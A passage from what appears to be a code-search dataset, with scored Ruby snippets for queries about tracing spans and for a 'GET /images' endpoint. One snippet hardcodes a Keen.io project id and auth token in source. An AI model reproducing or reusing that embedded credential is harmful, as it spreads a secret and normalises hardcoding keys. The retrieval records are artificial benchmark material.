"text": "def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"title": ""
},
{
"docid": "2f8abfae68f2015102ae51b0a95bb791",
"score": "0.49701917",
"text": "def current_trace\n if @@spans.empty?\n nil\n else\n @@spans.slice(-1)\n end\n end",
"title": ""
},
{
"docid": "79aac0e9b921a9f3501aba15f6bc9787",
"score": "0.49626294",
"text": "def suspend\n return if suspended?\n\n @lock.synchronize do\n @suspended = true\n @buffer = new_streaming_buffer\n NewRelic::Agent.logger.warn('The Trace Observer host signaled to suspend streaming span events. ' \\\n 'No more span events will be sent during this session.')\n end\n end",
"title": ""
},
{
"docid": "e5d8c4c591279c3eaab145b2566dff33",
"score": "0.49621123",
"text": "def test_segments_will_not_record_metrics_when_turned_off\n in_transaction do |txn|\n segment = basic_segment\n txn.add_segment(segment)\n segment.record_metrics = false\n segment.start\n advance_process_time(1.0)\n segment.finish\n end\n\n refute_metrics_recorded [basic_segment_name, BasicSegment::ALL_NAME]\n end",
"title": ""
},
{
"docid": "ea165974a0962acd68baa462849bb021",
"score": "0.49620274",
"text": "def tracing?\n\n\t\tseverity_logged? :trace\n\tend",
"title": ""
},
{
"docid": "2eb84cb2879de462919355fe23774877",
"score": "0.4950564",
"text": "def convert_span obj\n TraceProtos::Span.new \\\n name: make_resource_name(@project_id, obj.trace_id, obj.span_id),\n span_id: obj.span_id,\n parent_span_id: obj.parent_span_id || \"\",\n display_name: convert_truncatable_string(obj.name),\n start_time: convert_time(obj.start_time),\n end_time: convert_time(obj.end_time),\n attributes:\n convert_attributes(obj.attributes,\n obj.dropped_attributes_count,\n include_agent_attribute: true),\n stack_trace:\n convert_stack_trace(obj.stack_trace, obj.dropped_frames_count,\n obj.stack_trace_hash_id),\n time_events:\n convert_time_events(obj.time_events,\n obj.dropped_annotations_count,\n obj.dropped_message_events_count),\n links: convert_links(obj.links, obj.dropped_links_count),\n status: convert_optional_status(obj.status),\n same_process_as_parent_span:\n convert_optional_bool(obj.same_process_as_parent_span),\n child_span_count: convert_optional_int32(obj.child_span_count)\n end",
"title": ""
},
{
"docid": "8909130f0537c7e4deb1575a52a2edd8",
"score": "0.49305558",
"text": "def in_span name, skip_frames: 0, sampler: nil\n span = start_span name, skip_frames: skip_frames + 1, sampler: sampler\n begin\n yield span\n ensure\n end_span span\n end\n end",
"title": ""
},
{
"docid": "ad33fd5f13bfdc536b8bd9eeb23ee63e",
"score": "0.49155846",
"text": "def active_span\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "9292f90138e8e25f45be41ae337641f1",
"score": "0.4905727",
"text": "def enable_trap\n Signal.trap(@signal) { StaticTracing.toggle_tracing! }\n end",
"title": ""
},
{
"docid": "0fef710f2f2a103e3a39e367e9f2781b",
"score": "0.4900238",
"text": "def ensure_clean_context!\n return unless Tracing.active_span\n\n Tracing.send(:tracer).provider.context = Tracing::Context.new\n end",
"title": ""
},
{
"docid": "7fab241daf665d7f4af8382f495be3f5",
"score": "0.48652044",
"text": "def log_entry(name, kvs = {})\n return unless tracing?\n self.current_trace.new_span(name, kvs)\n end",
"title": ""
},
{
"docid": "f395567b5553c413369d5a6476d6116b",
"score": "0.48311362",
"text": "def send_events; end",
"title": ""
},
{
"docid": "5aba038bc9df0ef0ce359a29c08ce6c9",
"score": "0.48249143",
"text": "def notice_push_scope(time=Time.now)\n return unless builder\n\n segment = builder.trace_entry(time.to_f)\n @sample_buffers.each { |sample_buffer| sample_buffer.visit_segment(segment) }\n return segment\n end",
"title": ""
},
{
"docid": "7706ac3a48e4d65dc5c78a78ba0513d3",
"score": "0.48195764",
"text": "def span\n measure\n @span\n end",
"title": ""
},
{
"docid": "f66c88b962da3f369e1b127aa2821bd8",
"score": "0.48186615",
"text": "def start_span(operation_name, child_of: nil, references: nil, start_time: nil, tags: nil, ignore_active_scope: false)\n if child_of.nil? && references.nil? && !ignore_active_scope\n child_of = active_span\n end\n\n span_options = {\n tracer: self,\n operation_name: operation_name,\n child_of: child_of,\n references: references,\n start_micros: start_time.nil? ? LightStep.micros(Time.now) : LightStep.micros(start_time),\n tags: tags,\n max_log_records: max_log_records,\n }\n\n Span.new(**span_options).tap do |span|\n if block_given?\n begin\n return yield span\n ensure\n span.finish\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3685d443936fc9434a2190302d4276ef",
"score": "0.48084956",
"text": "def start_span(\n name,\n type = nil,\n subtype: nil,\n action: nil,\n context: nil,\n include_stacktrace: true,\n trace_context: nil,\n parent: nil,\n sync: nil\n )\n agent&.start_span(\n name,\n type,\n subtype: subtype,\n action: action,\n context: context,\n trace_context: trace_context,\n parent: parent,\n sync: sync\n ).tap do |span|\n break unless span && include_stacktrace\n break unless agent.config.span_frames_min_duration?\n\n span.original_backtrace ||= caller\n end\n end",
"title": ""
},
{
"docid": "63466b61593fff0e003055289f4fb7a1",
"score": "0.4797078",
"text": "def span_id\n self.current_trace ? current_trace.current_span_id : nil\n end",
"title": ""
},
{
"docid": "7d08d7190c19c22507df3878fc6eeb3c",
"score": "0.47907668",
"text": "def trace!\n request! :trace\n end",
"title": ""
},
{
"docid": "c3886ee463cb716245080e71e326e865",
"score": "0.47808495",
"text": "def event_types; end",
"title": ""
},
{
"docid": "f4f67dd5fb994850517af1042afd5e0d",
"score": "0.47696328",
"text": "def add_trace_field(name, value)\n self.active_trace_context[name] = value\n # TODO right now this will only add the field to all spans *started* after\n # this call, which unfortunately excludes the actual active span when the\n # call was made. One way to fix this is to change .span_for_existing_event\n # to add fields from .active_trace_context _after_ the yield (in a\n # begin/ensure block) instead of before.\n end",
"title": ""
},
{
"docid": "266d111cac1d535b249d8e8709ffaac2",
"score": "0.4760363",
"text": "def fires_in; end",
"title": ""
},
{
"docid": "36ef121a115303584b29ef14a755bd0f",
"score": "0.4750831",
"text": "def add_custom_span_attributes(params)\n record_api_supportability_metric(:add_custom_span_attributes)\n\n if params.is_a?(Hash)\n if segment = NewRelic::Agent::Tracer.current_segment\n segment.add_custom_attributes(params)\n end\n else\n ::NewRelic::Agent.logger.warn(\"Bad argument passed to #add_custom_span_attributes. Expected Hash but got #{params.class}\")\n end\n end",
"title": ""
},
{
"docid": "7abe83d6594fcfa25d7edf8ff8635ee3",
"score": "0.4734197",
"text": "def on_finish(span) # rubocop:disable Metrics/AbcSize\n return unless span.context.trace_flags.sampled?\n\n lock do\n n = spans.size + 1 - max_queue_size\n spans.shift(n) if n.positive?\n spans << span\n @condition.signal if spans.size > max_queue_size / 2\n end\n end",
"title": ""
},
{
"docid": "6c0d4ddbe144b930da372fd03546208f",
"score": "0.47287697",
"text": "def start_span(operation_name, child_of: active_span, **args)\n span = @tracer.start_span(operation_name, child_of: child_of, **args)\n @managed_span_source.make_active(span)\n end",
"title": ""
},
{
"docid": "ba4f809ccc50b1b074a088724a91ba81",
"score": "0.47253418",
"text": "def trace_list\n my_list = []\n (0...@list_of_events.length).each do |x|\n temp = @list_of_events[x]\n my_list << temp.trace\n end\n my_list\n end",
"title": ""
},
{
"docid": "3147d35be2e7cfc18024e398b9c8429d",
"score": "0.47159702",
"text": "def around\n params[:offset] ||= 1\n events = @event.around_events(params[:offset])\n render :json => events.to_json, :status => :ok\n end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "ff1cb32628977acc28cd1a7e6b85541e",
"score": "0.4714574",
"text": "def events; end",
"title": ""
},
{
"docid": "16763128cf0aced5e03a49208760b2c8",
"score": "0.46851104",
"text": "def set_request_tags!(trace, request_span, env, status, headers, response, original_env)\n request_header_collection = Header::RequestHeaderCollection.new(env)\n\n # Since it could be mutated, it would be more accurate to fetch from the original env,\n # e.g. ActionDispatch::ShowExceptions middleware with Rails exceptions_app configuration\n original_request_method = original_env['REQUEST_METHOD']\n\n # request_headers is subject to filtering and configuration so we\n # get the user agent separately\n user_agent = parse_user_agent_header(request_header_collection)\n\n # The priority\n # 1. User overrides span.resource\n # 2. Configuration\n # 3. Nested App override trace.resource\n # 4. Fallback with verb + status, eq `GET 200`\n request_span.resource ||=\n if configuration[:middleware_names] && env['RESPONSE_MIDDLEWARE']\n \"#{env['RESPONSE_MIDDLEWARE']}##{original_request_method}\"\n elsif trace.resource_override?\n trace.resource\n else\n \"#{original_request_method} #{status}\".strip\n end\n\n # Overrides the trace resource if it never been set\n # Otherwise, the getter method would delegate to its root span\n trace.resource = request_span.resource unless trace.resource_override?\n\n request_span.set_tag(Tracing::Metadata::Ext::TAG_COMPONENT, Ext::TAG_COMPONENT)\n request_span.set_tag(Tracing::Metadata::Ext::TAG_OPERATION, Ext::TAG_OPERATION_REQUEST)\n request_span.set_tag(Tracing::Metadata::Ext::TAG_KIND, Tracing::Metadata::Ext::SpanKind::TAG_SERVER)\n\n # Set analytics sample rate\n if Contrib::Analytics.enabled?(configuration[:analytics_enabled])\n Contrib::Analytics.set_sample_rate(request_span, configuration[:analytics_sample_rate])\n end\n\n # Measure service stats\n Contrib::Analytics.set_measured(request_span)\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_METHOD).nil?\n request_span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_METHOD, original_request_method)\n end\n\n url = parse_url(env, original_env)\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_URL).nil?\n options = configuration[:quantize] || {}\n\n # Quantization::HTTP.url base defaults to :show, but we are transitioning\n options[:base] ||= :exclude\n\n request_span.set_tag(\n Tracing::Metadata::Ext::HTTP::TAG_URL,\n Contrib::Utils::Quantization::HTTP.url(url, options)\n )\n end\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_BASE_URL).nil?\n options = configuration[:quantize]\n\n unless options[:base] == :show\n base_url = Contrib::Utils::Quantization::HTTP.base_url(url)\n\n unless base_url.empty?\n request_span.set_tag(\n Tracing::Metadata::Ext::HTTP::TAG_BASE_URL,\n base_url\n )\n end\n end\n end\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_CLIENT_IP).nil?\n Tracing::ClientIp.set_client_ip_tag(\n request_span,\n headers: request_header_collection,\n remote_ip: env['REMOTE_ADDR']\n )\n end\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_STATUS_CODE).nil? && status\n request_span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_STATUS_CODE, status)\n end\n\n if request_span.get_tag(Tracing::Metadata::Ext::HTTP::TAG_USER_AGENT).nil? && user_agent\n request_span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_USER_AGENT, user_agent)\n end\n\n HeaderTagging.tag_request_headers(request_span, request_header_collection, configuration)\n HeaderTagging.tag_response_headers(request_span, headers, configuration) if headers\n\n # detect if the status code is a 5xx and flag the request span as an error\n # unless it has been already set by the underlying framework\n request_span.status = 1 if status.to_s.start_with?('5') && request_span.status.zero?\n end",
"title": ""
},
{
"docid": "2164a080977fd0c5e698006c7b4e315a",
"score": "0.46744907",
"text": "def events\n end",
"title": ""
},
{
"docid": "5db433250a596cdc195c52001b0d2543",
"score": "0.46728438",
"text": "def start_span(\n name,\n type = nil,\n subtype: nil,\n action: nil,\n backtrace: nil,\n context: nil,\n trace_context: nil\n )\n return unless (transaction = current_transaction)\n return unless transaction.sampled?\n\n transaction.inc_started_spans!\n\n if transaction.max_spans_reached?\n transaction.inc_dropped_spans!\n return\n end\n\n parent = current_span || transaction\n\n span = Span.new(\n name: name,\n subtype: subtype,\n action: action,\n transaction_id: transaction.id,\n trace_context: trace_context || parent.trace_context.child,\n type: type,\n context: context,\n stacktrace_builder: stacktrace_builder\n )\n\n if backtrace && transaction.config.span_frames_min_duration?\n span.original_backtrace = backtrace\n end\n\n current_spans.push span\n\n span.start\n end",
"title": ""
},
{
"docid": "045940be7ed9486fed02afa8742b74bb",
"score": "0.4663427",
"text": "def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"title": ""
},
{
"docid": "a05a6e85ed2fcb4fe4629d88485f7373",
"score": "0.46606994",
"text": "def span_context\n OpenCensus::Context.get SPAN_CONTEXT_KEY\n end",
"title": ""
},
{
"docid": "347bd8923cdb6d630982b8942706041f",
"score": "0.46537793",
"text": "def on_high()\n \n end",
"title": ""
},
{
"docid": "947e853cdd933a7d81012c13df667f8f",
"score": "0.4641376",
"text": "def start_span(span)\n @@spans.push(span)\n end",
"title": ""
},
{
"docid": "d15760e9cb27f4f539a95cd302a1c84b",
"score": "0.46390176",
"text": "def trace(name, options = {})\n span = Span.new(self, name, options)\n\n # set up inheritance\n parent = @buffer.get()\n span.set_parent(parent)\n @buffer.set(span)\n\n @tags.each { |k, v| span.set_tag(k, v) } unless @tags.empty?\n\n # sampling\n if parent.nil?\n @sampler.sample(span)\n else\n span.sampled = span.parent.sampled\n end\n\n # call the finish only if a block is given; this ensures\n # that a call to tracer.trace() without a block, returns\n # a span that should be manually finished.\n if block_given?\n begin\n yield(span)\n rescue StandardError => e\n span.set_error(e)\n raise\n ensure\n span.finish()\n end\n else\n span\n end\n end",
"title": ""
},
{
"docid": "36af67eeedc38d319e3ccbdae6f5a640",
"score": "0.4634403",
"text": "def event_requirement; end",
"title": ""
},
{
"docid": "762a0b81aabe7de37998b46b78568b1e",
"score": "0.46241653",
"text": "def consume_spans(buffer)\n buffer.enumerator.map(&:itself)\n end",
"title": ""
},
{
"docid": "b0e35cea1dbbbe3bf02a802a2fbf1c32",
"score": "0.46133894",
"text": "def events=(_); end",
"title": ""
},
{
"docid": "bbd898849b186f54e2707485cc2aac24",
"score": "0.4611216",
"text": "def with_span(\n name,\n type = nil,\n subtype: nil,\n action: nil,\n context: nil,\n include_stacktrace: true,\n trace_context: nil,\n parent: nil,\n sync: nil\n )\n unless block_given?\n raise ArgumentError,\n 'expected a block. Do you want `start_span\\' instead?'\n end\n\n return yield nil unless agent\n\n begin\n span =\n start_span(\n name,\n type,\n subtype: subtype,\n action: action,\n context: context,\n include_stacktrace: include_stacktrace,\n trace_context: trace_context,\n parent: parent,\n sync: sync\n )\n result = yield span\n span&.outcome ||= Span::Outcome::SUCCESS\n result\n rescue\n span&.outcome ||= Span::Outcome::FAILURE\n raise\n ensure\n end_span\n end\n end",
"title": ""
},
{
"docid": "64ccb34b88bdd5ca084acb2f0f7aa8d5",
"score": "0.4592894",
"text": "def performance_insights_enabled\n data[:performance_insights_enabled]\n end",
"title": ""
},
{
"docid": "64ccb34b88bdd5ca084acb2f0f7aa8d5",
"score": "0.4592894",
"text": "def performance_insights_enabled\n data[:performance_insights_enabled]\n end",
"title": ""
},
{
"docid": "b08c9568ba33eda4c6087fc0437549c5",
"score": "0.45904252",
"text": "def fires_in\n\t\t\t@offset - @group.current_offset if @offset\n\t\tend",
"title": ""
},
{
"docid": "453886c5f9598dc636dc2ca58310eea5",
"score": "0.45886815",
"text": "def define_event_helpers; end",
"title": ""
},
{
"docid": "3ce267cb8fb5d6361385546ebb21c38a",
"score": "0.4587694",
"text": "def record(span)\n span.service ||= default_service\n\n spans = []\n @mutex.synchronize do\n @spans << span\n parent = span.parent\n # Bubble up until we find a non-finished parent. This is necessary for\n # the case when the parent finished after its parent.\n parent = parent.parent while !parent.nil? && parent.finished?\n @buffer.set(parent)\n\n return unless parent.nil?\n\n # In general, all spans within the buffer belong to the same trace.\n # But in heavily multithreaded contexts and/or when using lots of callbacks\n # hooks and other non-linear programming style, one can technically\n # end up in different situations. So we only extract the spans which\n # are associated to the root span that just finished, and save the\n # others for later.\n trace_spans = []\n alien_spans = []\n @spans.each do |s|\n if s.trace_id == span.trace_id\n trace_spans << s\n else\n alien_spans << s\n end\n end\n spans = trace_spans\n @spans = alien_spans\n end\n\n return if spans.empty? || !span.sampled\n write(spans)\n end",
"title": ""
},
{
"docid": "6006d7822bb2e65028fb50644a469e3e",
"score": "0.4584648",
"text": "def events_expressed_at\n find_related_frbr_objects( :presented_at, :which_events?) \n end",
"title": ""
},
{
"docid": "1560dbff87737cc4ec90ddf076334bf2",
"score": "0.458405",
"text": "def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.4576493",
"text": "def event; end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.4576493",
"text": "def event; end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.4576493",
"text": "def event; end",
"title": ""
},
{
"docid": "87fd78c44295cb799d90470ad0907cfd",
"score": "0.45729387",
"text": "def use_event_attributes?; end",
"title": ""
},
{
"docid": "a914f52d2379eb2ffcdfc02e49284214",
"score": "0.45724446",
"text": "def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend",
"title": ""
},
{
"docid": "8994dd0255125efbf2c4fe6dd6fd1e11",
"score": "0.45656773",
"text": "def trace_context\n TraceContextData.new trace_id, @span_id, trace_options\n end",
"title": ""
},
{
"docid": "f4242d00654f544790faa3d97f9bc0d7",
"score": "0.45525283",
"text": "def disable_log_instrumentation!\n NewRelic::Agent::Instrumentation::Logger.mark_skip_instrumenting(@log)\n end",
"title": ""
},
{
"docid": "5a1f53fa5fe11827566b8ae2750aaf4e",
"score": "0.4551605",
"text": "def print_events\n if @filtered_events.length.zero?\n puts 'List of events is empty'\n else\n (0..@filtered_events.length).each do |x|\n temp_event = @filtered_events[x]\n puts temp_event.trace\n end\n end\n end",
"title": ""
},
{
"docid": "717a3f67f62ba9dd5808b23732dd1861",
"score": "0.45485356",
"text": "def show_spans\r\n spans = Document.new(self).get_spans\r\n puts \"There are #{spans.length} spans\"\r\n index = 1\r\n spans.each do |l|\r\n puts \"span: name: #{l.name}\"\r\n puts \" id: #{l.id}\"\r\n puts \" class: #{l.className}\"\r\n puts \" index: #{index}\"\r\n index += 1\r\n end\r\n end",
"title": ""
},
{
"docid": "ba06110cb220554d98e675fdcb96cc2f",
"score": "0.45455438",
"text": "def current_span\n agent&.current_span\n end",
"title": ""
},
{
"docid": "603cc41f23cf65bbe0cfda63714f5521",
"score": "0.4540838",
"text": "def set_timespan(doc, object)\n\n # For this import, assume everything is current, even if it isn't marked that way\n\n object.create_timespan if object.timespan.nil?\n object.timespan.update_attribute(:is_current, true)\n\n #puts 'updating timespan:::::' + object.class.to_s\n #if object.respond_to? :feature\n # puts \"Feature PID == #{object.feature.pid}\"\n #end\n #puts \"ERRORS == #{object.errors.inspect}\"\n #result = object.timespan.nil? ? object.create_timespan(:is_current => true) : object.timespan.update_attribute(:is_current, true)\n #puts result.inspect\n\n #if(doc.attributes['isCurrent'])\n # if(doc.attributes['isCurrent']=='yes')\n # object.timespan = Timespan.new(:is_current => true)\n # elsif(doc.attributes['isCurrent']=='no')\n # object.timespan = Timespan.new(:is_current => false)\n # end\n #end\n end",
"title": ""
},
{
"docid": "bfc7831e2cddeb6fc728d314b645121f",
"score": "0.45406327",
"text": "def relevant_events_scope\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "bf5e0b90f861ac7f3b565b92c7b43c82",
"score": "0.45260105",
"text": "def initialize trace_id, span_id, name, start_time, end_time,\n kind: SPAN_KIND_UNSPECIFIED,\n parent_span_id: \"\", attributes: {},\n dropped_attributes_count: 0, stack_trace: [],\n dropped_frames_count: 0, time_events: [],\n dropped_annotations_count: 0,\n dropped_message_events_count: 0, links: [],\n dropped_links_count: 0, status: nil,\n same_process_as_parent_span: nil,\n child_span_count: nil\n @name = name\n @kind = kind\n @trace_id = trace_id\n @span_id = span_id\n @parent_span_id = parent_span_id\n @start_time = start_time\n @end_time = end_time\n @attributes = attributes\n @dropped_attributes_count = dropped_attributes_count\n @stack_trace = stack_trace\n @dropped_frames_count = dropped_frames_count\n @stack_trace_hash_id = init_stack_trace_hash_id\n @time_events = time_events\n @dropped_annotations_count = dropped_annotations_count\n @dropped_message_events_count = dropped_message_events_count\n @links = links\n @dropped_links_count = dropped_links_count\n @status = status\n @same_process_as_parent_span = same_process_as_parent_span\n @child_span_count = child_span_count\n end",
"title": ""
},
{
"docid": "03bead6a4def8c759f5f8b192209f316",
"score": "0.45178902",
"text": "def log_start_or_continue(name, kvs = {}, incoming_context = {})\n return unless ::Instana.agent.ready?\n self.current_trace = ::Instana::Trace.new(name, kvs, incoming_context)\n end",
"title": ""
},
{
"docid": "a4fad075ffabff80512dfccb3b902105",
"score": "0.45171663",
"text": "def recordable?(event_name, metric_name)\n event_name[0] == '!' \\\n || metric_name == 'View/text template/Rendering' \\\n || metric_name == \"View/#{::NewRelic::Agent::UNKNOWN_METRIC}/Partial\"\n end",
"title": ""
},
{
"docid": "afb090dedfe2d8d15b5c2d267e1acd43",
"score": "0.45142478",
"text": "def initialize trace_id: nil, is_new: nil, span_id: nil, sampled: nil,\n capture_stack: false\n @trace_id = trace_id || new_random_trace_id\n @is_new = if is_new.nil?\n !trace_id\n else\n is_new ? true : false\n end\n @span_id = span_id ? span_id.to_i : nil\n @sampled = sampled\n if @sampled.nil?\n @capture_stack = nil\n else\n @sampled = @sampled ? true : false\n @capture_stack = capture_stack && @sampled\n end\n end",
"title": ""
},
{
"docid": "bfc45612873e8147a04b33a2585945f7",
"score": "0.45087516",
"text": "def evented\n @evented = true\n end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.4505655",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.4505655",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "373f47094c9cf81ad710012f5e3f8854",
"score": "0.45048356",
"text": "def track_pageview\n\n # Get these from the keen.io website:\n project_id = \"4f5775ad163d666a6100000e\"\n auth_token = \"a5d4eaf432914823a94ecd7e0cb547b9\"\n\n # First you must setup the client:\n keen = Keen::Client.new(project_id, auth_token, :storage_mode => :redis)\n\n # Log the event with Keen:\n keen.add_event(\"pageviews\", {\n :params => params,\n :url => request.url,\n })\n\n end",
"title": ""
}
] |
b33ba954000d5c02f8161061ba4c4809
|
GET /images GET /images.json
|
[
{
"docid": "0ae2b9cec691ef5de87ea1e3b0fd634c",
"score": "0.72539264",
"text": "def index\n @images = Image.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
}
] |
[
{
"docid": "a830ab57c6055538be9c6c825680b7c1",
"score": "0.81821454",
"text": "def list params = {}\n @connection.get(build_path(\"/images/json\", params)) \n end",
"title": ""
},
{
"docid": "2188d5393353371aa9e1dea901c227ba",
"score": "0.7909451",
"text": "def list\n @images = Image.all\n\n respond_to do |format|\n format.html\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "9dfa2b7a742106323ba2ee5e5497397c",
"score": "0.7832719",
"text": "def get_images\n @command = :get_images\n # set a flag indicating whether or not the user wants to see all images,\n # including the hidden ones\n show_hidden = (@prev_args.peek(0) == '-i' || @prev_args.peek(0) == '--hidden')\n # get the images from the RESTful API (as an array of objects)\n uri_str = ( show_hidden ? \"#{@uri_string}?hidden=true\" : @uri_string )\n uri = URI.parse uri_str\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'filename'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, 'Images:', :style => :table)\n end",
"title": ""
},
{
"docid": "391825e3ca71beb2aefe52c12bff47fb",
"score": "0.76671225",
"text": "def index\n @images = Image.all\n render json: @images\n\n end",
"title": ""
},
{
"docid": "b5ad435283cb6f27ee3cc189ac5d5343",
"score": "0.7658237",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "b5ad435283cb6f27ee3cc189ac5d5343",
"score": "0.7658237",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "53bb05339daa98ab480e06d03cb074cb",
"score": "0.7594519",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "9c565fa453b1e092d3ae7f8135b30cc5",
"score": "0.75522286",
"text": "def index\n @images = Image.all\n render json: @images.to_json, status: :ok\n end",
"title": ""
},
{
"docid": "b857aae65f2ae53ecf711d4270352c71",
"score": "0.7515405",
"text": "def get_images\n puts \"Getting image list\"\n images = @conn.list_images\n\n for image in images.body['images']\n puts image\n end\n\n return images.body['images'][0]\n end",
"title": ""
},
{
"docid": "7af1be0f655613202c36ae9afad15a3f",
"score": "0.74606484",
"text": "def index\n @images = Image.page(params[:page] || 1).per(params[:per] || 4)\n\n render json: @images\n end",
"title": ""
},
{
"docid": "b09f7936e8c0edb06807ece2216b6e27",
"score": "0.74429935",
"text": "def images(options = {})\n get(FinerWorks::Image, \"/Images\", options)\n end",
"title": ""
},
{
"docid": "8dd717e6e232ee29049617e9fb5f0650",
"score": "0.7427477",
"text": "def images()\n return get_request(v2_address(\"images\"), @token)[\"images\"]\n end",
"title": ""
},
{
"docid": "b37073ec353873baac8a6ff847d4ecfa",
"score": "0.7377878",
"text": "def show\n @images = @album.images\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [ @album, @images ] }\n end\n end",
"title": ""
},
{
"docid": "fb9a160a307e85304deeea04b6e99c64",
"score": "0.736375",
"text": "def get_images\n @command = :get_images\n raise ProjectRazor::Error::Slice::NotImplemented, \"accessible via cli only\" if @web_command\n print_object_array(get_object(\"images\", :images), \"Images\", :success_type => :generic, :style => :item)\n end",
"title": ""
},
{
"docid": "fb9a160a307e85304deeea04b6e99c64",
"score": "0.736375",
"text": "def get_images\n @command = :get_images\n raise ProjectRazor::Error::Slice::NotImplemented, \"accessible via cli only\" if @web_command\n print_object_array(get_object(\"images\", :images), \"Images\", :success_type => :generic, :style => :item)\n end",
"title": ""
},
{
"docid": "69f1039ecde2d111adfce9a186300607",
"score": "0.73543364",
"text": "def show\n images = Image.get_all_images # Obtain all the images from the model\n\n if images.length > 0 # If exist at least one image in DB\n response = { content: images, message: \"Images has been obtained successfully\" } # Return all the images\n\n render json: response, status: 200\n else # If not exist data\n response = { content: nil, message: \"No images\" }\n\n render json: response, status: 204 # Return 'no content' and nil\n end\n end",
"title": ""
},
{
"docid": "9dac3d3d8052036617f7c40dd8026e1f",
"score": "0.73449135",
"text": "def show\n render json: Image.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "011720514799372ae1ce4593e05193b1",
"score": "0.7341421",
"text": "def index\n @imagens = Imagem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @imagens }\n end\n end",
"title": ""
},
{
"docid": "a6ac3ecf3e4d0634b45848a6aaa97b83",
"score": "0.73296666",
"text": "def get_images\n @images = Exam.find(params[:id]).exam_images.order(created_at: :asc)\n\n render json: @images.to_json(), status: :ok\n end",
"title": ""
},
{
"docid": "215503117264a4f72c2efc09e8f45853",
"score": "0.7318157",
"text": "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end",
"title": ""
},
{
"docid": "910023266361fc45f0bdc9e81cff9aed",
"score": "0.7300459",
"text": "def index\n respond_to do |format|\n format.html do\n @images = Image.all.order('created_at DESC')\n @image = Image.new\n end\n\n format.json do\n respond_to_record_selector(Integral::Image)\n end\n end\n end",
"title": ""
},
{
"docid": "9c0d9d01de0326d44bfd0297314d5bfc",
"score": "0.72748494",
"text": "def index\n @images = Image.last(4)\n\n @images = @images.map {|image| image.image_data}\n render json: { images: @images }, status: :created, location: @images.last\n end",
"title": ""
},
{
"docid": "724270634c460e8ccb3e4ea193d130c7",
"score": "0.72613597",
"text": "def show\n @image = Image.find(params[:id])\n render json: URI.join(request.url, @image.image.url)\n end",
"title": ""
},
{
"docid": "62c41299f3dd7071176edde163ba7818",
"score": "0.72521836",
"text": "def list_floor_plans \n get(\"/files.json/floorplan/images\")\nend",
"title": ""
},
{
"docid": "0e93926f9b0eb527e78e9e08d625ee04",
